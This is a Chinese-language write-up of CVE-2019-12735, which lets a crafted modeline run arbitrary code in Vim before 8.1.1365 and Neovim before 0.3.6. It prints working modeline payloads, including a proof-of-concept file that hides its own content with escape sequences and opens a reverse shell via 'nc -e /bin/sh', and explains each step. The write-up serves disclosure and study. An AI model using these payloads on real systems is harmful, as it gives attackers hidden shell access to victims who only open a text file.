Product: Vim < 8.1.1365, Neovim < 0.3.6
Type: Arbitrary Code Execution
CVE: CVE-2019-12735
Date: 2019-06-04
Author: Arminius (@rawsec)
Vim 8.1.1365 之前的版本和 Neovim 0.3.6 之前的版本存在一个漏洞,当打开包含特殊内容的文本文件时,可以通过 modeline 轻松实现任意代码执行。
Modeline 是一个默认启用的功能,适用于所有文件类型,包括 .txt 文件。它会自动查找并应用/执行文件创建者在文件开头和结尾提到的一组选项。下面是一个典型的 modeline 命令行:
/* vim: set textwidth=80 tabstop=8: */
为了提高安全性,只允许在 modelines 中应用/执行一部分选项。如果选项值包含表达式,则会在沙箱(sandbox)中执行:
No other commands than "set" are supported, for security reasons (somebody
might create a Trojan horse text file with modelines). And not all options
can be set. For some options a flag is set, so that when it's used the
|sandbox| is effective.
沙箱有助于防止副作用:
The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and
'foldtext' options may be evaluated in a sandbox. This means that you are
protected from these expressions having nasty side effects. This gives some
safety for when these options are set from a modeline.
然而,命令 :source!(后面带 [!])可以用来绕过沙箱。它强制 vim 读取并执行指定文件中的命令,就像在 vim 中手动输入一样,并在退出沙箱后运行。正是这一点导致了漏洞,使得可以通过 vim 实现任意代码执行。
:so[urce]! {file} Read Vim commands from {file}. These are commands
that are executed from Normal mode, like you type
them.
基于上述漏洞,可以构造一个 modeline 来在沙箱外执行代码:
# vim: set foldexpr=execute('\:source! some_file'):
也可以使用 assert_fails() 代替 execute():
assert_fails({cmd} [, {error} [, {msg}]]) *assert_fails()*
Run {cmd} and add an error message to |v:errors| if it does
NOT produce an error.
在 source! 后面加上字符 % 来执行当前文件,下面的示例将依次以 shell 命令形式执行 uname -a || "(garbage)":
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
此外,nvim_input() 函数专门用于在 Neovim 上利用该漏洞,用法如下:
vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0
作者提供了一个 PoC,通过使用 Esc 字符在读者打开文件时隐藏内容,并将新内容写入文件,从而创建反向 Shell。
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n
上面是作者的一个 PoC,但为了便于读者理解,我们将其简化如下:
\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0:
打开 vim 后,modeline 功能会检查文件的开头和结尾以查找 modeline 命令(这里是 'vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0:')。一旦找到,就会执行该命令。根据前面提到的 modeline 工作原理,source! % 命令会将当前文件作为手动输入在 vim 中执行。
首先它会执行字符串 "\x1bSNothing here.\x1b:silent! w "。如果你使用过 vim,应该知道 vim 的命令模式。要进入该模式只需按 Esc 键,该键的值为 0x1b。因此 PoC 开头是 0x1b,用于进入 vim 的命令模式。
进入命令模式后,如果按下 S 键,当前行的内容会被立即删除并回到插入模式。因此接下来的字符是 S,用于删除 PoC 文件的内容并创建新内容。
此时文本 "Nothing here." 会被写入文件,然后字符 Esc 再次进入命令模式,接着执行命令 :silent! w,将新文本("Nothing here.")写入文件,且不在屏幕上显示任何消息。
写入文件后,继续执行命令 call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') 以及后续命令以进行反向 Shell。最后一条命令是 silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n,此时 silent! 后面是 #,这会使 vim 将其视为注释,因此不会执行。
这样,当用户用 vim/neovim 打开上述 PoC 时,攻击者就能获取用户的 shell,而用户毫不知情,因为用户端只显示了刚刚通过 modeline 功能写入的文本 "Nothing here."。
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md